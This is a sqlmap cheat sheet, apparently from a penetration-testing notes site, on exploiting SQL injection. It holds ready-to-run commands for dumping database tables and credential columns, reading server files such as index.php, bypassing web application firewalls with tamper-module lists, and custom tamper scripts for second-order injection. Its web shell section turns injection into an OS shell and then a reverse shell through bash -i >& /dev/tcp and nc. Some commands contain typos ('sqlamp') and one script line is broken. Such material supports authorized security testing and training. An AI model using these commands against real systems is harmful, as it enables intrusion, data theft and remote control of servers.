SQL Injection with Sqlmap

Last modified: 2024-02-08

Database Reverse Shell SQL Injection Web

SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.

Basic Usage

# GET request
sqlmap -u "http://<target-ip>/?search=test"

Using Burp Suite Request File

We can specify a request file which is downloaded from Burp Suite.
In Burp Suite, right-click on the HTTP request header screen, then click Save Item to download the request file. We can use it with SQLmap. Add the "-r" flag as below.

sqlmap -r request.txt

In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the --proxy flag.

# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080

Cheat Sheet

Basic

sqlmap -u "https://example.com/?q=test"

# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q

# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"

# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"

# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch

# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-ssl

Specify DBMS (Database Management System)

We can specify DBMS such as mysql, postgres, sqlite to avoid unnecessary attempts.

sqlmap -u "https://example.com/?q=test" --dbms mysql
sqlmap -u "https://example.com/?q=test" --dbms postgres
sqlmap -u "https://example.com/?q=test" --dbms sqlite

Enumerations

# List databases
# --dbs: List databases
sqlmap -u "https://example.com/?q=test" --dbs

# List tables
# -D: Specific name of the database
# --table: List tables
sqlmap -u "https://example.com/?q=test" -D exampledb --tables

# List columns
# -T: Specific name of the table
# --columns: List columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users --columns

# Get each column value
# -C: Specific name of the column. We can specify single column or multiple columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username,password

# Get current user and database
sqlmap -u "https://example.com/?q=test" --current-user
sqlamp -u "https://example.com/?q=test" --current-db

Dump Entories

We can dump entories by adding --dump flag.

sqlmap -u "https://example.com/?q=test" --dump
# Specify dbms, database, table
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql -D exampledb -T users

# Dump all entories
sqlmap -u "https://example.com/?q=test" --dump-all

Risk/Level

We can specify the injection risk and level.

  • risk

    Risk of tests to perform. Default is 1. Max is 3.

  • level

    Level of tests to perform. Default is 1. Max is 5.

sqlmap -u "https://example.com/?q=test" --dump --dbms mysql --risk 3 --level 5

Random Agent

sqlmap -u "https://example.com/?q=test" --random-agent

Fresh Queries

If the database is modified, we can refresh the states by adding --fresh-queries.

# --fresh-queries: new data in tables
sqlmap -u "https://example.com/?q=test" --fresh-queries

Injection Techniques

We can specify the injection technique to test by adding --technique.

# Union attack (U)
sqlmap -u "https://example.com/?q=test" --technique U
# --delay 2: Time delay
sqlmap -u "https://example.com/?q=test" --technique U --delay 2

# Time-based Blind SQLi (T)
sqlmap -u "https://example.com/?q=test" --technique T

# Boolean-based blind injection (B)
sqlmap -u "https://example.com/?q=test" --technique B

Sleep

We can sleep for each injection.

# --time-sec 2: Sleep 2 seconds.
sqlmap -u "https://example.com/?q=test" --time-sec 2

Ignore HTTP response code

We can ignore specific HTTP response (status) code.

# Ignore 401 (Unauthorized)
sqlmap -u "https://example.com/?q=test" --ignore-code 401

# Ignore 500 (Internal Server Error)
sqlmap -u "https://example.com/?q=test" --ignore-code 500

We can drop Set-Cookie from HTTP response headers.

sqlmap -u "https://example.com/?q=test" --drop-set-cookie



Second Order Attack

Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap

If the SQL injection affects another URL, we want to customize the second URL.

Method 1. Simply adding the second request

We can add second-url or second-req flag in sqlmap command.
Note that each request file (e.g. req1.txt, req2.txt) is downloaded by clicking "save item" in each request in BurpSuite.

# -p: Specify the parameter where payload will be put
sqlmap -u "https://example.com/profile/change" -p email  --second-url "https://example.com/dashboard"
sqlmap -r req1.txt -p email --second-req req2.txt

Method 2. Tampering

If we could not achieve with the method 1, it’s worth to create a tamper function.
For example, create tamper.py with the content below.

#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def change_profile(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"ExampleToken": "abcdef...xyz"}

    params = {"username":"tester", "email":payload}
    url = "https://example.com/profile/change"
    req = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
		# If we need to send json param, use `json` attribute instead of `data`.

    url = "https://example.com/dashboard"
    req = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    change_profile(payload)
    return payload

By setting the proxy to http://127.0.0.1:8080, we can see the requests and the responses in BurpSuite.
After creating, run sqlmap as below.

# Create this file in current directory to avoid error when running sqlmap with tamper
touch __init__.py

sqlmap --tamper tamper.py -r req1.txt -p email --second-req req2.txt --proxy http://127.0.0.1:8080

Integrate with Other Commands

We can set a dynamic value to the parameter by including another command such as curl as follow:

sqlmap -u """https://example.com/?q=test&token=`curl https://api.example.com/auth -X POST -d "username=admin&password=admin" | awk -F '"' '{print$12}'`"""

Web Shell

Add option "--os-shell" to interact with web shell.

sqlmap -u "http://<target-ip>" --cookie="value=*" --os-shell

After activating, you may want to upgrade to the full functional shell.
You can do that using reverse shell.

In your local machine,

nc -lvnp 4444

Then execute the following command in web shell.

os-shell> bash -c 'bash -i >& /dev/tcp/<your-local-ip>/4444 0>&1'

Read Files

# --batch: never ask for user input, use the default behavior
sqlmap -r request.txt --file-read "/var/www/html/index.php" --time-sec 10 --batch
sqlmap -r request.txt --file-read "/var/www/<subdomain>/index.php" --time-sec 10 --batch

sqlmap -u "http://<target-ip>/?q=test" --file-read "var/www/html/index.php" --time-sec 10 --batch

Tampering

The sqlmap can be tampered by custom python script e.g. tamper.py or the default library.
To list all tampers, run the following command.

sqlmap --list-tampers

WAF (Web Application Firewall) Bypass

This post explains details for what each module works.

# General
sqlmap -r request.txt --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,escapequotes,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MSSQL
sqlmap -r request.txt --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MySQL
sqlamp -r request.txt --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Custom tamper modules (Base64 encode)

We can also create our custom modules.
For instance, we create "tamper.py".

#!/usr/bin/python3
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass
    
def tamper(payload, **kwargs):
    payload = encodeBase64("%s" % payload, binary=False)
    return payload

Then execute sqlmap.

# The tamper is a module, so we need to create __init__.py in the current directory.
touch __init__.py
sqlmap -u "https://example.com/" --cookie "session=*" --tamper=tamper.py

Multiple Requests

#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

address = "http://vulnerable.com"
password = "test"

def dependencies():
    pass

def create_account(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/signup", data=data)

def login(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/login", data=data)
        sessid = s.cookies.get("session"None)
    return "session={}".format(sessid)


def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    create_account(payload)
    headers["Cookie"] = login(payload)
    return payload

Then run the sqlmap with the tamper option.

sqlmap --tamper tamper.py --url http://vulnerable.com/signup --data "username=admin&password=test" --second-url "http://vulnerable.com/post" --no-cast